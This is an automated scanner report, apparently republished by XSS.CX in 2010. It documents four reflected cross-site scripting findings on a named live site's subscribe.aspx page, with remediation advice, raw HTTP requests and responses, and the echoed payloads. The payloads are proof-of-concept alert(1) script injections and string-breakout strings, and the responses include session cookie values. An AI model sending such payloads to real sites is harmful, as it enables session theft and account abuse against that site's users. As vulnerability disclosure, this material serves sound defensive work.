Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1be3a'-alert(1)-'f019eda0e7c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /subscribe.aspx1be3a'-alert(1)-'f019eda0e7c HTTP/1.1 Host: www.pageflakes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 10 Dec 2010 18:52:56 GMT Server: Microsoft-IIS/6.0 From: web11 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: t=; path=/ Set-Cookie: .PAGEFLAKESANON=8226AA71C59AE0E3C32D0FDEDDDC8814A51C41D256EFB511668FAAE78D6A3C6A7DB440EF9A0A0E566E811E49ABA6644DB39DED8E3E18D53AAF68A70373F34A1BB0B9A4129F89564C095F6459AB4E6146E63AB6C1CF8EA3D2842CB3C00E59AE474D8F50B71D348DF96C64A3A109675C72792394D09F476E19EE29F081054390735106A4D762DE43AE762017F7D7D446C363F492BB590966DC488B687F5AD51861; path=/ Cache-Control: no-cache, no-store Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 14376
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc98a'%3b91928cd546f was submitted in the REST URL parameter 1. This input was echoed as cc98a';91928cd546f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /subscribe.aspxcc98a'%3b91928cd546f?url= HTTP/1.1 Host: www.pageflakes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 10 Dec 2010 19:03:29 GMT Server: Microsoft-IIS/6.0 From: web11 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: t=; path=/ Set-Cookie: .PAGEFLAKESANON=EDBC83A0486E40CCEA458BCAF6BE93D98F55EA927A36402823FE8E68C01D099E639CCB28359C3C66288A57C710BDDF9BA4A4314CBB979D65503CE6A948D0A420377653051AFA0C0DDEF52EEF69A172441A8F87FE1C827344C267174ACD6219F78C62280B2AFD1892648828804329EDAB4BBBFE74C41937B8D1B498CA9777B6A04E6E7A795E147CD4239819AB5DE285A1254907534E4F207A232000A00B65F7C7; path=/ Cache-Control: no-cache, no-store Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 14403
1.3. http://www.pageflakes.com/subscribe.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pageflakes.com
Path:
/subscribe.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ba322</script><script>alert(1)</script>471a5391e5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /subscribe.aspx?ba322</script><script>alert(1)</script>471a5391e5d=1 HTTP/1.1 Host: www.pageflakes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 10 Dec 2010 18:46:43 GMT Server: Microsoft-IIS/6.0 From: web11 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: t=; path=/ Set-Cookie: .PAGEFLAKESANON=FAF4E2A09E1307D71C30D43A44BB6990DFCBA16351E1F391A8C77778CB81B2B74DF4C613956FD87C98203BB743A4EA0B78E4D546A7C1FF8BB3728006FD2307E6EDC6579CE17A033770575EED8F3BC7BD20397F0119BA7F163A05220E23C44C431859ADF74F2D5D8CE7095D04286D3E2DE76D1C5BA9437323E7090D2CD72089E40FF181F854E1EE9CE0963F9B516B787B1BA9937E82543005BC656B32A190E18A; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 986
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Add feed ...[SNIP]... document.referrer; } else { //I clicked the "add to pageflakes link". Please add this feed in my pageflakes page var redirectUrl = 'subscribe2.aspx?ba322</script><script>alert(1)</script>471a5391e5d=1'; document.location.href="#marker"; document.location.href= redirectUrl; } </script> ...[SNIP]...
The value of the url request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6875c</script><script>alert(1)</script>8054ecab317 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /subscribe.aspx?url=6875c</script><script>alert(1)</script>8054ecab317 HTTP/1.1 Host: www.pageflakes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 10 Dec 2010 18:49:14 GMT Server: Microsoft-IIS/6.0 From: web11 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: t=; path=/ Set-Cookie: .PAGEFLAKESANON=C81EAB3CE733546409BB378DA640EB95352E334C9D542F698C11051D02842BECD6E7438DF0AA81C0A27B89870F7629C7CB948640F0C351722D35D2BE657FEAF0EE11EDEF67B13FB272AAA6994813BD106350B6407CEC27504E23CD87D1BC1AD5E3826E0992638C5AA9310A61CD66FF1818C4ADF40E781CC244D294F52408C0665160D5F9743A600CAB3C5816196D8C0B7F400B73AFB1BAD5A49825615FCD1143; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 988
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Add feed ...[SNIP]... ment.referrer; } else { //I clicked the "add to pageflakes link". Please add this feed in my pageflakes page var redirectUrl = 'subscribe2.aspx?url=6875c</script><script>alert(1)</script>8054ecab317'; document.location.href="#marker"; document.location.href= redirectUrl; } </script> ...[SNIP]...
Report generated by XSS.CX at Fri Dec 10 13:16:50 CST 2010.